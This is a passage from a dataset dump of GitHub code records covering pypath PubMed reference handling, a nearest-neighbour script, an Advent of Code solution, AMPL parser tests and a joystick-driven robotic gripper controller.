'))\n","repo_name":"makuznet/hse","sub_path":"lesson-4_functions/lesson-4_dz_2_translit_function.py","file_name":"lesson-4_dz_2_translit_function.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"70278611949","text":"from future.utils import iteritems\nimport os\nimport sys\nimport webbrowser\nimport pandas as pd\ntry:\n    import cPickle as pickle\nexcept:\n    import pickle\n\nimport pypath.share.curl as curl\nimport pypath.share.common as common\nimport pypath.resources.urls as urls\nfrom pypath.inputs import pubmed as pubmed_input\nimport pypath.share.cache as cache\nimport pypath.inputs.pubmed as pubmed\n\n\nclass Reference(object):\n\n    __slots__ = ['pmid']\n\n    def __init__(self, pmid):\n        self.pmid = str(pmid).strip()\n\n    def __eq__(self, other):\n        return self.pmid == other.pmid\n\n    def __hash__(self):\n        return hash(self.pmid)\n\n    def open(self):\n        pubmed_input.open_pubmed(self.pmid)\n\n    def __str__(self):\n        return self.pmid\n\n    def info(self):\n        return pubmed_input.get_pubmeds([self.pmid])\n\n    def __repr__(self):\n\n        return '<Reference: %s>' % self.pmid\n\n\ndef get_pubmed_data(\n        pp,\n        cachefile = None,\n        htp_threshold = 20\n    ):\n    \"\"\"\n    For one PyPath object, obtains metadata for all PubMed IDs\n    through NCBI E-utils.\n\n    :param pp:\n        ``pypath.PyPath`` object\n    :param htp_threshold:\n        The number of interactions for one reference\n        above the study considered to be high-throughput.\n    \"\"\"\n\n\n    if cachefile is None:\n\n        cachefile = cache.cache_item('pubmed_cache')\n\n    if htp_threshold is not None:\n        pp.htp_stats()\n\n    pubmeds = common.uniq_list(\n        common.flat_list([[r.pmid for r in e['references']]\n                         for e in pp.graph.es]))\n\n    if htp_threshold is not None:\n        pubmeds = set(pubmeds) - pp.htp[htp_threshold]['htrefs']\n\n    notpmid = [i for i in pubmeds if not i.isdigit()]\n\n    sys.stdout.write('\\t:: Number of non PubMed ID references: %u\\n' %\n                     len(notpmid))\n\n    pmdata = {}\n    if os.path.exists(cachefile):\n        sys.stdout.write('\\t:: Loading data previously downloaded '\n                         'from PubMed, from file `%s`\\n' % cachefile)\n        pmdata = pickle.load(open(cachefile, 'rb'))\n\n    missing = list(set(pubmeds) - set(pmdata.keys()))\n    sys.stdout.write('\\t:: Downloading data from PubMed about %s papers\\n' %\n                     len(missing))\n    cached_pubmeds_len = len(pmdata)\n    pmdata_new = pubmed_input.get_pubmeds(missing)\n    pmdata.update(pmdata_new)\n\n    sys.stdout.write('\\t:: Saving PubMed data to file `%s`\\n' % cachefile)\n\n    if len(pmdata) > cached_pubmeds_len:\n        pickle.dump(pmdata, open(cachefile, 'wb'))\n\n    pmdata = dict(i for i in pmdata.items() if i[0] in pubmeds)\n\n    points = []\n    earliest = []\n\n    for e in pp.graph.es:\n\n        for s, rs in iteritems(e['refs_by_source']):\n\n            pms = [\n                r.pmid for r in rs\n                if (htp_threshold is None or r.pmid not in pp.htp[\n                    htp_threshold]['htrefs']\n                    ) and r.pmid in pmdata and 'pubdate' in pmdata[r.pmid]\n            ]\n            if len(pms) > 0:\n                yrs = [int(pmdata[pm]['pubdate'][:4]) for pm in pms]\n                earliest.append((s, 0, min(yrs), '', e.index))\n                for pm in pms:\n                    points.append((s, pm, int(pmdata[pm]['pubdate'][:4]),\n                                   pmdata[pm]['source'], e.index))\n\n    points = common.uniq_list(points)\n    earliest = common.uniq_list(earliest)\n\n    points = pd.DataFrame.from_records(points)\n    earliest = pd.DataFrame.from_records(earliest)\n    points.columns = ['database', 'pmid', 'year', 'journal', 'eid']\n    earliest.columns = ['database', 'none', 'year', 'none', 'eid']\n\n    return points, earliest\n","repo_name":"saezlab/pypath","sub_path":"pypath/internals/refs.py","file_name":"refs.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","stars":114,"dataset":"github-code","pt":"37"}
+{"seq_id":"72920932588","text":"#!/usr/bin/python3 -W all\n\"\"\"\n    nearest-neighbors.py: compute the nearest neighbors of numeric vectors\n    usage: nearest-neighbors.py < file1\n    notes: files contain one numeric vector per line, numbers separated by spaces\n          based on similarity.py\n    20170822 erikt(at)xs4all.nl\n\"\"\"\n\nimport math\nimport numpy as np\nimport sys\n\nCOMMAND = sys.argv.pop(0)\n\ndef computeSimilarity(vector1,vector2):\n    similarity = np.inner(vector1[\"fields\"],vector2[\"fields\"])\n    similarity /= vector1[\"size\"]*vector2[\"size\"]\n    return(similarity)\n\nvectors = []\nbestSimilarities = []\nnbrOfTokens = -1\ncounter = 0\nfor line in sys.stdin:\n    counter += 1\n    if counter == 1000*int(counter/1000): \n        sys.stderr.write(str(counter)+\"\\n\")\n        sys.stderr.flush()\n    line = line.rstrip()\n    fields = line.split()\n    if nbrOfTokens < 0: nbrOfTokens = len(fields)\n    if len(fields) != nbrOfTokens: sys.exit(COMMAND+\": inconsistent number of tokens per line: \"+str(nbrOfTokens)+\" vs \"+str(len(fields)))\n    fieldsNPstrings = np.array(fields)\n    fieldsNP = fieldsNPstrings.astype(float)\n    size = math.sqrt(np.inner(fieldsNP,fieldsNP))\n    vector = {\"size\":size,\"fields\":fieldsNP}\n    bestSimilarity = 0.0\n    bestNeighbor = -1\n    for i in range(0,len(vectors)):\n        s = computeSimilarity(vector,vectors[i])\n        if s > bestSimilarity: \n           bestSimilarity = s\n           bestNeighbor = i\n        if s > bestSimilarities[i][\"similarity\"]: \n           bestSimilarities[i][\"similarity\"] = s\n           bestSimilarities[i][\"neighbor\"] = len(bestSimilarities)\n    vectors.append(vector)\n    bestSimilarities.append({\"similarity\":bestSimilarity,\"neighbor\":bestNeighbor})\nfor i in range(0,len(bestSimilarities)): \n    print(\"%0.3f %d\" % (bestSimilarities[i][\"similarity\"],bestSimilarities[i][\"neighbor\"]))\n\n","repo_name":"online-behaviour/machine-learning","sub_path":"nearest-neighbors.py","file_name":"nearest-neighbors.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"31005244944","text":"def SplitPairIntoInts(pair):\n    pairSplit = pair.split('-')\n    return [int(pairSplit[0]), int(pairSplit[1])]\n\ndef OverlapsFully(pairs):\n    pair1 = SplitPairIntoInts(pairs[0])\n    pair2 = SplitPairIntoInts(pairs[1])\n    if (pair2[0] >= pair1[0] and pair2[1] <= pair1[1]):\n        return True\n    elif (pair1[0] >= pair2[0] and pair1[1] <= pair2[1]):\n        return True\n    else:\n        return False\n\ndef PartOne():\n    file = open('input.txt', 'r')\n    lines = file.readlines()\n\n    return sum([1 for line in lines if OverlapsFully(line.strip().split(','))])\n\ndef OverlapsPartially(pairs):\n    pair1 = SplitPairIntoInts(pairs[0])\n    pair2 = SplitPairIntoInts(pairs[1])\n\n    if (pair1[0] <= pair2[0] <= pair1[1]\n    or pair1[0] <= pair2[1] <= pair1[1]):\n        return True\n    elif (pair2[0] <= pair1[0] <= pair2[1]\n    or pair2[0] <= pair1[1] <= pair2[1]):\n        return True\n    else:\n        return False\n\ndef PartTwo():\n    file = open('input.txt', 'r')\n    lines = file.readlines()\n\n    return sum([1 for line in lines if OverlapsPartially(line.strip().split(',')) ])\n\nprint(PartOne())\nprint(PartTwo())","repo_name":"vuciv/AdventOfCode2022","sub_path":"day4/day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"9564322782","text":"# AMPL parser and AST tests\n\nimport ampl, copy\nfrom cStringIO import StringIO\nfrom mock import MagicMock\n\nclass MockVisitor: pass\n\ndef ref(name):\n  \"Create a reference.\"\n  return ampl.Reference(name)\n\ndef test_ref():\n  expr = ref('foo')\n  assert type(expr) == ampl.Reference\n  assert expr.name == 'foo'\n\ndef check_accept(node, method_name):\n  \"Check if node.accept(visitor) calls visitor.method_name(node).\"\n  visitor = MockVisitor()\n  mock = MagicMock()\n  setattr(visitor, method_name, mock)\n  mock.return_value = 42\n  assert node.accept(visitor) == 42\n  mock.assert_called_with(node)\n\ndef test_reference():\n  expr = ampl.Reference('foo')\n  assert type(expr) == ampl.Reference\n  assert expr.name == 'foo'\n  check_accept(expr, 'visit_reference')\n\ndef test_subscript():\n  sub = ref('foo')\n  expr = ampl.SubscriptExpr('bar', sub)\n  assert type(expr) == ampl.SubscriptExpr\n  assert expr.name == 'bar'\n  assert expr.subscript == sub\n  check_accept(expr, 'visit_subscript')\n\ndef test_paren():\n  arg = ref('a')\n  expr = ampl.ParenExpr(arg)\n  assert type(expr) == ampl.ParenExpr\n  assert expr.arg == arg\n  check_accept(expr, 'visit_paren')\n\ndef test_unary():\n  arg = ref('a')\n  expr = ampl.UnaryExpr('-', arg)\n  assert type(expr) == ampl.UnaryExpr\n  assert expr.op == '-'\n  assert expr.arg == arg\n  check_accept(expr, 'visit_unary')\n\ndef test_binary():\n  lhs = ref('a')\n  rhs = ref('b')\n  expr = ampl.BinaryExpr('+', lhs, rhs)\n  assert type(expr) == ampl.BinaryExpr\n  assert expr.op == '+'\n  assert expr.lhs == lhs\n  assert expr.rhs == rhs\n  check_accept(expr, 'visit_binary')\n\ndef test_if():\n  condition = ref('a')\n  then_expr = ref('b')\n  else_expr = ref('c')\n  expr = ampl.IfExpr(condition, then_expr, else_expr)\n  assert type(expr) == ampl.IfExpr\n  assert expr.condition == condition\n  assert expr.then_expr == then_expr\n  assert expr.else_expr == else_expr\n  expr = ampl.IfExpr(condition, then_expr)\n  assert expr.else_expr == None\n  check_accept(expr, 'visit_if')\n\ndef test_call():\n  arg0 = ref('a')\n  arg1 = ref('b')\n  expr = ampl.CallExpr('foo', [arg0, arg1])\n  assert type(expr) == ampl.CallExpr\n  assert expr.func_name == 'foo'\n  assert expr.args == [arg0, arg1]\n  check_accept(expr, 'visit_call')\n\ndef test_sum():\n  indexing = ampl.Indexing(ref('a'))\n  arg = ref('b')\n  expr = ampl.SumExpr(indexing, arg)\n  assert type(expr) == ampl.SumExpr\n  assert expr.indexing == indexing\n  assert expr.arg == arg\n  check_accept(expr, 'visit_sum')\n\ndef test_indexing():\n  index = 'a'\n  set_expr = ref('b')\n  expr = ampl.Indexing(set_expr, index)\n  assert type(expr) == ampl.Indexing\n  assert expr.index == index\n  assert expr.set_expr == set_expr\n  expr = ampl.Indexing(set_expr)\n  assert expr.index == None\n  assert expr.set_expr == set_expr\n  check_accept(expr, 'visit_indexing')\n\ndef test_init():\n  init = ref('a')\n  attr = ampl.InitAttr(init)\n  assert type(attr) == ampl.InitAttr\n  assert attr.init == init\n  check_accept(attr, 'visit_init')\n\ndef test_in():\n  lb = ref('a')\n  ub = ref('b')\n  attr = ampl.InAttr(lb, ub)\n  assert type(attr) == ampl.InAttr\n  assert attr.lb == lb\n  assert attr.ub == ub\n  check_accept(attr, 'visit_in')\n\ndef test_decl():\n  indexing = ampl.Indexing(ref('a'))\n  attrs = [ampl.InitAttr(ref('a'))]\n  decl = ampl.Decl('var', 'x', indexing, attrs)\n  assert type(decl) == ampl.Decl\n  assert decl.kind == 'var'\n  assert decl.name == 'x'\n  assert decl.indexing == indexing\n  assert decl.attrs == attrs\n  assert decl.body == None\n  decl = ampl.Decl('var', 'x', indexing)\n  assert decl.attrs == []\n  decl = ampl.Decl('var', 'x')\n  assert decl.indexing == None\n  check_accept(decl, 'visit_decl')\n\ndef test_include():\n  stmt = ampl.IncludeStmt('model')\n  assert type(stmt) == ampl.IncludeStmt\n  assert stmt.kind == 'model'\n  check_accept(stmt, 'visit_include')\n\ndef test_data():\n  param_names = ['a', 'b']\n  values = [0, 1, 2, 3, 4, 5]\n  stmt = ampl.DataStmt('param', 'S', param_names, values)\n  assert type(stmt) == ampl.DataStmt\n  assert stmt.kind == 'param'\n  assert stmt.set_name == 'S'\n  assert stmt.param_names == param_names\n  assert stmt.values == values\n  check_accept(stmt, 'visit_data')\n\ndef test_compound():\n  nodes = [ampl.IncludeStmt('model'), ampl.Decl('var', 'x')]\n  stmt = ampl.CompoundStmt(nodes)\n  assert type(stmt) == ampl.CompoundStmt\n  assert stmt.nodes == nodes\n  check_accept(stmt, 'visit_compound')\n\ndef check_print(output, node):\n  \"Check if the output of pretty_print for the given AST node.\"\n  stream = StringIO()\n  ampl.pretty_print(stream, node)\n  real_output = stream.getvalue()\n  assert real_output == output\n\ndef test_pretty_print():\n  check_print('a', ref('a'))\n  check_print('a[b]', ampl.SubscriptExpr('a', ref('b')))\n  check_print('(a)', ampl.ParenExpr(ref('a')))\n  check_print('-a', ampl.UnaryExpr('-', ref('a')))\n  check_print('a + b', ampl.BinaryExpr('+', ref('a'), ref('b')))\n  check_print('if a then b else c',\n              ampl.IfExpr(ref('a'), ref('b'), ref('c')))\n  check_print('if a then b',\n              ampl.IfExpr(ref('a'), ref('b'), None))\n  check_print('f(a, b)', ampl.CallExpr('f', [ref('a'), ref('b')]))\n  check_print('sum{s in S} x[s]', ampl.SumExpr(ampl.Indexing(ref('S'), 's'),\n                                               ampl.SubscriptExpr('x', ref('s'))))\n  check_print('{s in S}', ampl.Indexing(ref('S'), 's'))\n  check_print('{S}', ampl.Indexing(ref('S')))\n  check_print('= a', ampl.InitAttr(ref('a')))\n  check_print('in [a, b]', ampl.InAttr(ref('a'), ref('b')))\n  check_print('var x{S} = a;\\n', ampl.Decl('var', 'x', ampl.Indexing(ref('S')),\n                                           [ampl.InitAttr(ref('a'))]))\n  decl = ampl.Decl('minimize', 'o')\n  decl.body = ampl.UnaryExpr('-', ref('x'))\n  check_print('minimize o: -x;\\n', decl)\n  check_print('model;\\n', ampl.IncludeStmt('model'))\n  param_names = ['a', 'b']\n  values = [str(n) for n in range(6)]\n  check_print(\n    'param:\\n' +\n    'S:a b :=\\n' +\n    '0 1 2\\n' +\n    '3 4 5\\n' +\n    ';\\n', ampl.DataStmt('param', 'S', param_names, values))\n  check_print('model;\\nvar x;\\n',\n              ampl.CompoundStmt([ampl.IncludeStmt('model'), ampl.Decl('var', 'x')]))\n\ndef equal_nodes(lhs, rhs):\n  \"Compare AST nodes for equality.\"\n  if type(lhs) != type(rhs):\n    return False\n\n  class Comparator:\n    def visit_reference(self, expr):\n      return lhs.name == rhs.name\n\n    def visit_subscript(self, expr):\n      return lhs.name == rhs.name and equal_nodes(lhs.subscript, rhs.subscript)\n\n    def visit_paren(self, expr):\n      return equal_nodes(lhs.arg, rhs.arg)\n\n    def visit_unary(self, expr):\n      return lhs.op == rhs.op and equal_nodes(lhs.arg, rhs.arg)\n\n    def visit_binary(self, expr):\n      return lhs.op == rhs.op and \\\n        equal_nodes(lhs.lhs, rhs.lhs) and equal_nodes(lhs.rhs, rhs.rhs)\n\n    def visit_if(self, expr):\n      return equal_nodes(lhs.condition, rhs.condition) and \\\n        equal_nodes(lhs.then_expr, rhs.then_expr) and \\\n          equal_nodes(lhs.else_expr, rhs.else_expr)\n\n    def visit_call(self, expr):\n      return lhs.func_name == rhs.func_name and \\\n          equal_node_lists(lhs.args, rhs.args)\n\n    def visit_sum(self, expr):\n      return equal_nodes(lhs.indexing, rhs.indexing) and \\\n          equal_nodes(lhs.arg, rhs.arg)\n\n    def visit_indexing(self, expr):\n      return lhs.index == rhs.index and equal_nodes(lhs.set_expr, rhs.set_expr)\n\n    def visit_init(self, attr):\n      return equal_nodes(lhs.init, rhs.init)\n\n    def visit_in(self, attr):\n      return equal_nodes(lhs.lb, rhs.lb) and equal_nodes(lhs.ub, rhs.ub)\n\n    def visit_decl(self, decl):\n      return lhs.kind == rhs.kind and lhs.name == rhs.name and \\\n        equal_nodes(lhs.indexing, rhs.indexing) and equal_nodes(lhs.body, rhs.body) and \\\n        equal_node_lists(lhs.attrs, rhs.attrs)\n\n    def visit_include(self, stmt):\n      return lhs.kind == rhs.kind\n\n    def visit_data(self, stmt):\n      return lhs.kind == rhs.kind and lhs.set_name == rhs.set_name and \\\n        lhs.param_names == rhs.param_names and lhs.values == rhs.values\n\n    def visit_compound(self, stmt):\n      return equal_node_lists(lhs.nodes, rhs.nodes)\n\n  return True if lhs is None else lhs.accept(Comparator())\n\ndef equal_node_lists(lhs, rhs):\n  \"Compare lists of AST nodes for equality.\"\n  if len(lhs) != len(rhs):\n    return False\n  for i, j in zip(lhs, rhs):\n    if not equal_nodes(i, j):\n      return False\n  return True\n\ndef check_equal_nodes(node, *inequal_nodes):\n  \"Check if equal_nodes compares nodes recursively.\"\n  assert equal_nodes(node, node)\n  assert equal_nodes(node, copy.deepcopy(node))\n  assert not equal_nodes(node, None)\n  assert not equal_nodes(node, ref('x') if type(node) != ampl.Reference else ampl.CompoundStmt([]))\n  for i in inequal_nodes:\n    assert not equal_nodes(node, i)\n\ndef test_equal_nodes():\n  assert equal_nodes(None, None)\n  x = ref('x')\n  y = ref('y')\n  z = ref('z')\n  ix = ampl.Indexing(x)\n  iy = ampl.Indexing(y)\n  check_equal_nodes(x, y)\n  check_equal_nodes(ampl.ParenExpr(x), ampl.UnaryExpr('-', x))\n  check_equal_nodes(ampl.UnaryExpr('-', x), ampl.UnaryExpr('+', x), ampl.UnaryExpr('-', y))\n  check_equal_nodes(ampl.BinaryExpr('*', x, y), ampl.BinaryExpr('+', x, y),\n                    ampl.BinaryExpr('*', y, y), ampl.BinaryExpr('*', x, x))\n  check_equal_nodes(ampl.IfExpr(x, y, z), ampl.IfExpr(z, y, z),\n                    ampl.IfExpr(x, x, z), ampl.IfExpr(x, y, y))\n  check_equal_nodes(ampl.CallExpr('sin', [x]), ampl.CallExpr('cos', [x]),\n                    ampl.CallExpr('sin', [y]), ampl.CallExpr('sin', [x, y]))\n  check_equal_nodes(ampl.SumExpr(ix, x), ampl.SumExpr(iy, x), ampl.SumExpr(ix, y))\n  check_equal_nodes(ix, iy)\n  check_equal_nodes(ampl.Decl('var', 'x'), ampl.Decl('var', 'y'))\n  check_equal_nodes(ampl.IncludeStmt('data'), ampl.IncludeStmt('model'))\n  check_equal_nodes(ampl.DataStmt('param', 'S', ['a', 'b'], ['1', '2', '3']),\n                    ampl.DataStmt('var', 'S', ['a', 'b'], ['1', '2', '3']),\n                    ampl.DataStmt('param', 'T', ['a', 'b'], ['1', '2', '3']),\n                    ampl.DataStmt('param', 'S', ['a'], ['1', '2', '3']),\n                    ampl.DataStmt('param', 'S', ['a', 'c'], ['1', '2', '3']),\n                    ampl.DataStmt('param', 'S', ['a', 'v'], ['1', '2']),\n                    ampl.DataStmt('param', 'S', ['a', 'v'], ['1', '2', '4']))\n  assert not equal_nodes(ampl.Decl('var', 'x'), ampl.CompoundStmt([]))\n\ndef test_equal_node_lists():\n  assert equal_node_lists([], [])\n  assert not equal_node_lists([], [ampl.Decl('var', 'x')])\n  assert equal_node_lists([ampl.Decl('var', 'x')], [ampl.Decl('var', 'x')])\n  assert not equal_node_lists([ampl.Decl('var', 'x')], [ampl.Decl('var', 'y')])\n  assert not equal_node_lists([ampl.Decl('var', 'x')],\n                              [ampl.Decl('var', 'x'), ampl.Decl('var', 'y')])\n\ndef check_parse(input, *nodes):\n  assert equal_nodes(ampl.parse(input, 'in'), ampl.CompoundStmt(nodes))\n\ndef test_parse_decls():\n  s_decl = ampl.Decl('set', 'S')\n  indexing = ampl.Indexing(ref('S'))\n  for kw in ['param', 'var', 'set', 'minimize', 'maximize']:\n    check_parse(kw + ' a;', ampl.Decl(kw, 'a'))\n    check_parse('set S; ' + kw + ' a{S};', s_decl, ampl.Decl(kw, 'a', indexing))\n\ndef test_parse_attrs():\n  e1 = ampl.BinaryExpr('+', ref('x'), ref('y'))\n  e2 = ampl.UnaryExpr('-', ref('x'))\n  for kw in ['param', 'var']:\n    check_parse(kw + ' a = x + y;',\n                ampl.Decl(kw, 'a', None, [ampl.InitAttr(e1)]))\n    check_parse(kw + ' a in [x + y, -x];',\n                ampl.Decl(kw, 'a', None, [ampl.InAttr(e1, e2)]))\n\ndef test_parse_obj_body():\n  decl = ampl.Decl('minimize', 'o')\n  decl.body = ampl.BinaryExpr('+', ref('x'), ref('y'))\n  check_parse('minimize o: x + y;', decl)\n\ndef check_parse_expr(input, expr):\n  \"Check parsing arithmetic expression.\"\n  assert equal_nodes(ampl.parse('var x = {};'.format(input), 'in'),\n                     ampl.CompoundStmt([ampl.Decl('var', 'x', None, [ampl.InitAttr(expr)])]))\n\ndef check_parse_lexpr(input, expr):\n  \"Check parsing logical expression.\"\n  check_parse_expr('if {} then 1'.format(input), ampl.IfExpr(expr, ref('1')))\n\ndef test_parse_expr():\n  check_parse_expr('42', ref('42'))\n  check_parse_expr('-x', ampl.UnaryExpr('-', ref('x')))\n  check_parse_expr('(x)', ampl.ParenExpr(ref('x')))\n  check_parse_expr('sum{S} x', ampl.SumExpr(ampl.Indexing(ref('S')), ref('x')))\n  check_parse_expr('sum{s in S} x', ampl.SumExpr(ampl.Indexing(ref('S'), 's'), ref('x')))\n  check_parse_expr('if x then y', ampl.IfExpr(ref('x'), ref('y')))\n  check_parse_expr('if x then y else z', ampl.IfExpr(ref('x'), ref('y'), ref('z')))\n  for f in ['abs', 'acos', 'acosh', 'alias', 'asin', 'asinh', 'atan', 'atan2', 'atanh',\n            'ceil', 'ctime', 'cos', 'exp', 'floor', 'log', 'log10', 'max', 'min',\n            'precision', 'round', 'sin', 'sinh', 'sqrt', 'tan', 'tanh', 'time', 'trunc']:\n    check_parse_expr(f + '(x)', ampl.CallExpr(f, [ref('x')]))\n  check_parse_expr('x[y]', ampl.SubscriptExpr('x', ref('y')))\n  for op in ['^', '**', '+', '-', '*', '/']:\n    check_parse_expr('x ' + op + ' y', ampl.BinaryExpr(op, ref('x'), ref('y')))\n  for op in ['||', 'or', 'in', '<', '<=', '=', '==', '<>', '!=', '<=', '>']:\n    check_parse_lexpr('x ' + op + ' y', ampl.BinaryExpr(op, ref('x'), ref('y')))\n\ndef test_parse_expr_precedence():\n  x = ref('x')\n  y = ref('y')\n  z = ref('z')\n  check_parse_lexpr('(x || y)', ampl.ParenExpr(ampl.BinaryExpr('||', x, y)))\n  idx = ampl.Indexing(ref('S'))\n  check_parse_lexpr('sum{S} x * y', ampl.SumExpr(idx, ampl.BinaryExpr('*', x, y)))\n  check_parse_lexpr('sum{S} x + y', ampl.BinaryExpr('+', ampl.SumExpr(idx, x), y))\n  check_parse_expr('if x || y then z', ampl.IfExpr(ampl.BinaryExpr('||', x, y), z))\n  check_parse_expr('if x then y & z', ampl.IfExpr(x, ampl.BinaryExpr('&', y, z)))\n  check_parse_lexpr('if x then y in S', ampl.BinaryExpr('in', ampl.IfExpr(x, y), ref('S')))\n  check_parse_expr('if x then y else x & z', ampl.IfExpr(x, y, ampl.BinaryExpr('&', x, z)))\n  check_parse_lexpr('if x then y else z in S', ampl.BinaryExpr('in', ampl.IfExpr(x, y, z), ref('S')))\n  check_parse_expr('sin(if x then y)', ampl.CallExpr('sin', [ampl.IfExpr(x, y)]))\n  check_parse_expr('a[if x then y]', ampl.SubscriptExpr('a', ampl.IfExpr(x, y)))\n  check_parse_lexpr('x || y > z', ampl.BinaryExpr('||', x, ampl.BinaryExpr('>', y, z)))\n  check_parse_lexpr('x || y in z', ampl.BinaryExpr('||', x, ampl.BinaryExpr('in', y, z)))\n  \n  \ndef test_parse_associativity():\n  x = ref('x')\n  y = ref('y')\n  z = ref('z')\n  check_parse_lexpr('x + y + z', ampl.BinaryExpr('+', ampl.BinaryExpr('+', x, y), z))\n  check_parse_lexpr('x + y - z', ampl.BinaryExpr('-', ampl.BinaryExpr('+', x, y), z))\n  check_parse_lexpr('x * y * z', ampl.BinaryExpr('*', ampl.BinaryExpr('*', x, y), z))\n  check_parse_lexpr('x * y / z', ampl.BinaryExpr('/', ampl.BinaryExpr('*', x, y), z))\n  check_parse_lexpr('x ^ y ^ z', ampl.BinaryExpr('^', x, ampl.BinaryExpr('^', y, z)))\n\ndef test_parse_data():\n  check_parse('data;', ampl.IncludeStmt('data'))\n  check_parse(\n    '''\n    data;\n    param:\n    S: a b :=\n    1  2 3;\n    ''',\n    ampl.IncludeStmt('data'), ampl.DataStmt('param', 'S', ['a', 'b'], ['1', '2', '3']))\n","repo_name":"ampl/global-optimization","sub_path":"util/test/ampl-test.py","file_name":"ampl-test.py","file_ext":"py","file_size_in_byte":15091,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"37"}
+{"seq_id":"1330442603","text":"__author__ = 'srkiyengar'\n\nimport pygame\nimport logging\nimport logging.handlers\nfrom datetime import datetime\nimport reflex\nimport screen_print as sp\nimport joystick as js\nimport threading\nimport time\n\nPOS_ERROR = 20\n\n#logger\nLOG_LEVEL = logging.DEBUG\nLOG_FILENAME = 'Gripper' + datetime.now().strftime('%Y-%m-%d---%H:%M:%S')\n\n# Define some colors\nBLACK    = (   0,   0,   0)\nWHITE    = ( 255, 255, 255)\n\nSCAN_RATE = 20                  #1(one) second divided by scan rate is the loop checking if the main program should die\n\n\ngp_servo=[0,0,0,0,0]    # position 0 is not used 1 to 4 represent servos 1 to 4\nprevious_gp = [0,0,0,0,0] #holds the previous value\njoy_loop_rate = 1000    # in microsecond\nreflex_loop_rate = 16000    #in microsecond\nmy_lock = threading.Lock()\nlast_time = datetime.now()\n\nreflex_command_loop = True\njoy_measurement_loop = True\njoy_moved = False\n\n\ndef stop_joy_loop():\n    global joy_measurement_loop\n    joy_measurement_loop = False\n\n\ndef stop_reflex_loop():\n    global reflex_command_loop\n    reflex_command_loop = False\n\n\ndef update_joy_displacement(my_joy, palm,e2):\n    '''\n    Displacement of Logitech Extreme 3D Joystick Axis 0 and 1 are updated into the gp_servo list at the rate set by\n    'joy_loop_rate'\n    :param my_joy: to get the displacement of Axis 0 (pre-shape) and 1 (aperture)\n    :return: None\n    '''\n    last_joy_time = last_time\n    counter = 1\n    global joy_moved\n    while (joy_measurement_loop):\n        e2.wait()       # This is used to pause the thread in case we want to calibrate the gripper\n        present_time = datetime.now()\n        delta_t = present_time - last_joy_time\n        delta_t = delta_t.seconds*1000000 + delta_t.microseconds\n\n        if delta_t < joy_loop_rate:\n            delay = joy_loop_rate - delta_t\n            delay = delay/1000000.0\n            time.sleep(delay)\n\n        #d1 = [1,1,1]\n        #d2 = [1,1,1]\n        measurement_time = datetime.now()\n\n        d1 = my_joy.get_axis_displacement_and_grip(1)   #Axis 1 - Aperture\n        d0 = my_joy.get_axis_displacement_and_grip(0)   #Axis 0 - preshape\n\n        # d0 and d1 are lists for axis 0 and axis 1 List Index 1 - moveby; Index 2 - direction\n\n        aperture_change = d1[1]*d1[2]\n        pre_shape = d0[1]*d0[2]\n\n        if (aperture_change != 0 or pre_shape != 0):\n            my_logger.info('d1[1] = {}, d1[2] = {}, d0[1] = {}, d0[2] = {}'.format(d1[1],d1[2], d0[1], d0[2]))\n            my_logger.info('Joy Counter: {} - Time of Joy displacement: {} Move Fingers by {} Preshape by {}'.\n                       format(counter, str(measurement_time)[17:],aperture_change, pre_shape))\n\n            # We have to consider if the servo rotation is + 1 or -1 before we can add\n            #my_logger.info('Update Servo 1 from {} to {} '.format(gp_servo[1], gp_servo[1]+aperture_change))\n            #my_logger.info('Update Servo 2 from {} to {} '.format(gp_servo[2], gp_servo[2]-aperture_change))\n            #my_logger.info('Update Servo 3 from {} to {} '.format(gp_servo[3], gp_servo[3]+aperture_change))\n            #my_logger.info('Update Servo 4 from {} to {} '.format(gp_servo[4], gp_servo[4]-pre_shape))\n\n\n            my_logger.info('Goal position before update {} '.format(gp_servo))\n\n            with my_lock:\n                joy_moved = True        #This is a flag to indicate Joystick is displaced from rest position.\n                gp_servo[1] = gp_servo[1] + aperture_change\n                gp_servo[2] = gp_servo[2] - aperture_change\n                gp_servo[3] = gp_servo[3] + aperture_change\n                gp_servo[4] = gp_servo[4] - pre_shape\n\n            my_logger.info('Goal position after update {} '.format(gp_servo))\n            my_logger.info('Joy displacement flag is {} '.format(joy_moved))\n            counter += 1\n\n            # We have to check if the computed gp is within limits\n            for i in range(1,5,1):\n                np = palm.is_finger_within_limit(i, gp_servo[i])\n                if np > 0:      # np > 1 is valid when outside limit, np will be the limit value of the servo position\n                    gp_servo[i] = np\n                else:\n                    raise RuntimeError('servo finger joint rotation error\\n')\n\n        last_joy_time = present_time\n\n\ndef move_reflex_to_goal_positions(palm,e2):\n    '''\n    This is to move the Reflex to gp_servo position at the rate set by\n    'reflex_loop_rate'\n    :type palm: The reflex object\n    :param palm: This is the reflex object in the main\n    :return:\n    '''\n    counter = 1\n    global last_time, continue_reflex_loop, previous_gp, joy_moved\n    last_reflex_time = last_time\n    #my_logger.info('Entering Reflex thread')\n    while (reflex_command_loop):\n        #my_logger.info('Reflex thread while loop Counter = {}'.format(counter))\n        e2.wait()       # This is used to pause the thread in case we want to calibrate the gripper\n        present_time = datetime.now()\n        delta_t = present_time - last_reflex_time\n        delta_t = delta_t.seconds*1000000 + delta_t.microseconds\n\n        if (delta_t < reflex_loop_rate):\n            delay = reflex_loop_rate - delta_t\n            delay = delay/1000000.0\n            time.sleep(delay)\n\n        with my_lock:\n            gp = list(gp_servo)\n            move_servo = joy_moved\n            #my_logger.info('Reflex Counter: joy_moved = {}, move_servo is {}'.format(joy_moved,move_servo))\n\n        #if gp[1] != previous_gp[1] or gp[2] != previous_gp[2] or gp[3] != previous_gp[3] or gp[3] != previous_gp[3]:\n        command_time = datetime.now()\n\n        if move_servo:\n            my_logger.info('Reflex Counter: Iam in the If condition')\n            my_logger.info('Reflex Counter: {} - Time of Command: {}'.format(counter, command_time))\n            my_logger.info('-->Reflex - GP = {} Previous GP = {}'.format(gp, previous_gp))\n            palm.move_to_goal_position(gp)\n            my_logger.info('-->Reflex - Moved to GP = {}'.format(gp))\n            previous_gp = gp\n\n            with 